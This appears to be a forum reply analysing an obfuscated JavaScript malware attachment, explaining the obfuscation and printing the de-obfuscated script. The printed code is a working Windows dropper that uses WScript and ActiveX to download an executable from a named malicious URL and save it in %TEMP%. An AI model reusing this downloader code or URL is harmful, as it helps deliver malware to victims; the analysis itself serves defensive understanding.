As a first step, run the code through a JS beautifier to the code to do some of the escaping.
Note, you'll see several patterns like:
Fake["hostkey" ["replace"](/hostkey/, "write")]
which inside the brackets is equivalent to "hostkey".replace(/hostkey/, "write")
which evaluates to just "write"
or Fake.write
. Also
The bulk of the activity seems to be in the script written by concatenating a bunch of variables together (line 124 of your file). Those commands once de-obfuscated a bit are:
var _ = 27570,
Keyword = "serious";
var multi_resize = 0;
var update_results = "characters_excluding_spaces",
looks = "search_errors",
postSelector = "f347";
Dakar = "targetParent", _actual_db_id = "deactivate_plugin", populates = 2;
e032 = "v_path_info", These = "ExpandEnvironmen";
wp_ajax_send_link_to_editor = "x00FF";
places = "tStrings", retries = "menuControl";
list = "http://dermosihhat.abdu", AuthorURI = 1,
propertychange = "llahaktay.com/image/";
fff8e5 = "flags/.../403.php?";
triplet = "already_has_default",
sanitize_option_ = "f=404";
textTopHei$ght = function() {
Keyword = update_results = looks = this;
Dakar = Keyword["WScript"];
_actual_db_id = Dakar["CreateObject"]("WScript.Shell");
};
textTopHei$ght();
e032 = _actual_db_id[These + places]("%TEMP%/") + "5w5xGKQ9WE.exe";
try {
this = "Reformat";
} catch (flush) {
retries = new update_results["ActiveXObject"]("Msxml2.XMLHTTP.6.0");
}
new_branch = function() {
retries.open("GET", "http://dermosihhat.abdullahaktay.com/image/flags/.../403.php?f=404", +multi_resize);
retries.send();
Dakar.Sleep(1000);
};
new_branch();
slidEvent = function() {
postSelector = new looks["ActiveXObject"]("ADODB.Stream"));
};
slidEvent();
postSelector.open();
postSelector.type = +AuthorURI;
wp_ajax_send_link_to_editor = postSelector;
wp_ajax_send_link_to_editor.write(retries["ResponseBody"]);
wp_ajax_send_link_to_editor.position = 0;
postSelector["saveToFile"](e032, +populates);
triplet = postSelector;
triplet["close"]();
It seems to be doing a lot of ActiveX stuff (that I am not familiar with) (WScript) as well as making a request to the following malicious URL ( http://dermosihhat.abdullahaktay.com/image/flags/.../403.php?f=404 ) which seems to be a windows/DOS binary. (It starts with the bytes MZ and has the text "This program cannot be run in DOS mode" near the start.).
So it seems to be using ActiveX to download this executable and trick you into running it, though I don't know what the executable does. (I'm not a windows user and am not sure of all the details of ActiveX.)